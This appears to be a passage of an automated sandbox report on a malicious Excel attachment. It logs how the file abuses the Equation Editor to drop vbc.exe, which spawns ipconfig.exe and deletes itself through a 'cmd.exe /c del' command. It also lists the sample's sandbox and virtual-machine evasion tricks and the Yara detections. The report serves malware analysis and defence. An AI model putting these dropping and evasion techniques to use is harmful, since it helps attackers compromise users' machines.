Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F60F3F 11_2_01F60F3F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F6EE4C 11_2_01F6EE4C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F82E2F 11_2_01F82E2F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DC2CA 11_2_000DC2CA
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DC51E 11_2_000DC51E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DB6D3 11_2_000DB6D3
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DB8D6 11_2_000DB8D6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DCB5C 11_2_000DCB5C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000C8C5D 11_2_000C8C5D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000C8C60 11_2_000C8C60
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000C2D87 11_2_000C2D87
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000C2D90 11_2_000C2D90
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 01F4DF5C appears 107 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 01FBF970 appears 81 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 01F93F92 appears 108 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 01F9373B appears 238 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 01F4E2A8 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00A7E2A8 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00A7DF5C appears 107 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00AEF970 appears 81 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00AC373B appears 238 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00AC3F92 appears 108 times
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 8_2_004181C0 NtCreateFile, 8_2_004181C0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00418270 NtReadFile, 8_2_00418270
Source: C:\Users\Public\vbc.exe Code function: 8_2_004182F0 NtClose, 8_2_004182F0
Source: C:\Users\Public\vbc.exe Code function: 8_2_004183A0 NtAllocateVirtualMemory, 8_2_004183A0
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041839A NtAllocateVirtualMemory, 8_2_0041839A
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A700C4 NtCreateFile,LdrInitializeThunk, 8_2_00A700C4
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A70078 NtResumeThread,LdrInitializeThunk, 8_2_00A70078
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A70048 NtProtectVirtualMemory,LdrInitializeThunk, 8_2_00A70048
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A707AC NtCreateMutant,LdrInitializeThunk, 8_2_00A707AC
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6F9F0 NtClose,LdrInitializeThunk, 8_2_00A6F9F0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6F900 NtReadFile,LdrInitializeThunk, 8_2_00A6F900
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FAE8 NtQueryInformationProcess,LdrInitializeThunk, 8_2_00A6FAE8
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 8_2_00A6FAD0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FBB8 NtQueryInformationToken,LdrInitializeThunk, 8_2_00A6FBB8
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FB68 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_00A6FB68
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FC90 NtUnmapViewOfSection,LdrInitializeThunk, 8_2_00A6FC90
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FC60 NtMapViewOfSection,LdrInitializeThunk, 8_2_00A6FC60
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FD8C NtDelayExecution,LdrInitializeThunk, 8_2_00A6FD8C
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FDC0 NtQuerySystemInformation,LdrInitializeThunk, 8_2_00A6FDC0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FEA0 NtReadVirtualMemory,LdrInitializeThunk, 8_2_00A6FEA0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 8_2_00A6FED0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FFB4 NtCreateSection,LdrInitializeThunk, 8_2_00A6FFB4
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A710D0 NtOpenProcessToken, 8_2_00A710D0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A70060 NtQuerySection, 8_2_00A70060
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A701D4 NtSetValueKey, 8_2_00A701D4
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A7010C NtOpenDirectoryObject, 8_2_00A7010C
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A71148 NtOpenThread, 8_2_00A71148
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6F8CC NtWaitForSingleObject, 8_2_00A6F8CC
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A71930 NtSetContextThread, 8_2_00A71930
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6F938 NtWriteFile, 8_2_00A6F938
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FAB8 NtQueryValueKey, 8_2_00A6FAB8
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FA20 NtQueryInformationFile, 8_2_00A6FA20
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FA50 NtEnumerateValueKey, 8_2_00A6FA50
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FBE8 NtQueryVirtualMemory, 8_2_00A6FBE8
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FB50 NtCreateKey, 8_2_00A6FB50
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FC30 NtOpenProcess, 8_2_00A6FC30
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A70C40 NtGetContextThread, 8_2_00A70C40
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FC48 NtSetInformationFile, 8_2_00A6FC48
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A71D80 NtSuspendThread, 8_2_00A71D80
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FD5C NtEnumerateKey, 8_2_00A6FD5C
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FE24 NtWriteVirtualMemory, 8_2_00A6FE24
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FFFC NtCreateProcessEx, 8_2_00A6FFFC
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A6FF34 NtQueueApcThread, 8_2_00A6FF34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F400C4 NtCreateFile,LdrInitializeThunk, 11_2_01F400C4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F407AC NtCreateMutant,LdrInitializeThunk, 11_2_01F407AC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3F9F0 NtClose,LdrInitializeThunk, 11_2_01F3F9F0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3F900 NtReadFile,LdrInitializeThunk, 11_2_01F3F900
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FBB8 NtQueryInformationToken,LdrInitializeThunk, 11_2_01F3FBB8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FB68 NtFreeVirtualMemory,LdrInitializeThunk, 11_2_01F3FB68
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FB50 NtCreateKey,LdrInitializeThunk, 11_2_01F3FB50
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FAE8 NtQueryInformationProcess,LdrInitializeThunk, 11_2_01F3FAE8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FDC0 NtQuerySystemInformation,LdrInitializeThunk, 11_2_01F3FDC0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FD8C NtDelayExecution,LdrInitializeThunk, 11_2_01F3FD8C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FC60 NtMapViewOfSection,LdrInitializeThunk, 11_2_01F3FC60
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FFB4 NtCreateSection,LdrInitializeThunk, 11_2_01F3FFB4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 11_2_01F3FED0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F401D4 NtSetValueKey, 11_2_01F401D4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F41148 NtOpenThread, 11_2_01F41148
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F4010C NtOpenDirectoryObject, 11_2_01F4010C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F410D0 NtOpenProcessToken, 11_2_01F410D0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F40078 NtResumeThread, 11_2_01F40078
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F40060 NtQuerySection, 11_2_01F40060
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F40048 NtProtectVirtualMemory, 11_2_01F40048
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F41930 NtSetContextThread, 11_2_01F41930
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3F938 NtWriteFile, 11_2_01F3F938
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3F8CC NtWaitForSingleObject, 11_2_01F3F8CC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FBE8 NtQueryVirtualMemory, 11_2_01F3FBE8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FAD0 NtAllocateVirtualMemory, 11_2_01F3FAD0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FAB8 NtQueryValueKey, 11_2_01F3FAB8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FA50 NtEnumerateValueKey, 11_2_01F3FA50
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FA20 NtQueryInformationFile, 11_2_01F3FA20
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F41D80 NtSuspendThread, 11_2_01F41D80
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FD5C NtEnumerateKey, 11_2_01F3FD5C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FC90 NtUnmapViewOfSection, 11_2_01F3FC90
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F40C40 NtGetContextThread, 11_2_01F40C40
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FC48 NtSetInformationFile, 11_2_01F3FC48
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FC30 NtOpenProcess, 11_2_01F3FC30
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FFFC NtCreateProcessEx, 11_2_01F3FFFC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FF34 NtQueueApcThread, 11_2_01F3FF34
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FEA0 NtReadVirtualMemory, 11_2_01F3FEA0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F3FE24 NtWriteVirtualMemory, 11_2_01F3FE24
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000D81C0 NtCreateFile, 11_2_000D81C0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000D8270 NtReadFile, 11_2_000D8270
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000D82F0 NtClose, 11_2_000D82F0
Abnormal high CPU Usage
Source: C:\Windows\explorer.exe Process Stats: CPU usage > 98%
Source: C:\Windows\SysWOW64\ipconfig.exe Process Stats: CPU usage > 98%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: vbc[1].exe.4.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vbc.exe.4.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ORDER CONFIRMATION.xlsx Virustotal: Detection: 32%
Source: ORDER CONFIRMATION.xlsx ReversingLabs: Detection: 29%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$ORDER CONFIRMATION.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRF298.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@12/19@22/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: explorer.exe, 00000009.00000000.502008099.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: vbc[1].exe.4.dr, Forms/mainForm.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: vbc.exe.4.dr, Forms/mainForm.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.2.vbc.exe.200000.0.unpack, Forms/mainForm.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.2.vbc.exe.200000.0.unpack, Forms/mainForm.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\Public\vbc.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: ipconfig.pdb source: vbc.exe, 00000008.00000002.540860003.0000000000030000.00000040.00020000.sdmp
Source: Binary string: ipconfig.pdbN source: vbc.exe, 00000008.00000002.540860003.0000000000030000.00000040.00020000.sdmp
Source: Binary string: wntdll.pdb source: vbc.exe, ipconfig.exe

Data Obfuscation:

barindex
.NET source code contains potential unpacker
Source: vbc[1].exe.4.dr, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: vbc.exe.4.dr, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.2.vbc.exe.200000.0.unpack, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 7.2.vbc.exe.200000.0.unpack, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 7.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.2.vbc.exe.200000.1.unpack, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E4D58 push esp; ret 6_2_001E4D59
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E879A push edx; retf 6_2_001E879B
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E87CE push ds; retf 6_2_001E87CF
Source: C:\Users\Public\vbc.exe Code function: 8_2_00415080 push esi; ret 8_2_004150B6
Source: C:\Users\Public\vbc.exe Code function: 8_2_00416235 push edi; iretd 8_2_00416267
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041B3B5 push eax; ret 8_2_0041B408
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041B46C push eax; ret 8_2_0041B472
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041B402 push eax; ret 8_2_0041B408
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041B40B push eax; ret 8_2_0041B472
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A7DFA1 push ecx; ret 8_2_00A7DFB4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F4DFA1 push ecx; ret 11_2_01F4DFB4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000D5080 push esi; ret 11_2_000D50B6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000D6235 push edi; iretd 11_2_000D6267
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DB3B5 push eax; ret 11_2_000DB408
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DB40B push eax; ret 11_2_000DB472
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DB402 push eax; ret 11_2_000DB408
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_000DB46C push eax; ret 11_2_000DB472
Binary contains a suspicious time stamp
Source: vbc[1].exe.4.dr Static PE information: 0x82CF36F5 [Mon Jul 18 16:08:21 2039 UTC]
Source: initial sample Static PE information: section name: .text entropy: 7.19334150193
Source: initial sample Static PE information: section name: .text entropy: 7.19334150193

Persistence and Installation Behavior:

barindex
Uses ipconfig to lookup or modify the Windows network settings
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival:

barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2976, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 00000000000C85E4 second address: 00000000000C85EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 00000000000C897E second address: 00000000000C8984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1868 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1828 Thread sleep time: -38487s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1016 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\ipconfig.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 8_2_004088B0 rdtsc 8_2_004088B0
Contains long sleeps (>= 3 min)
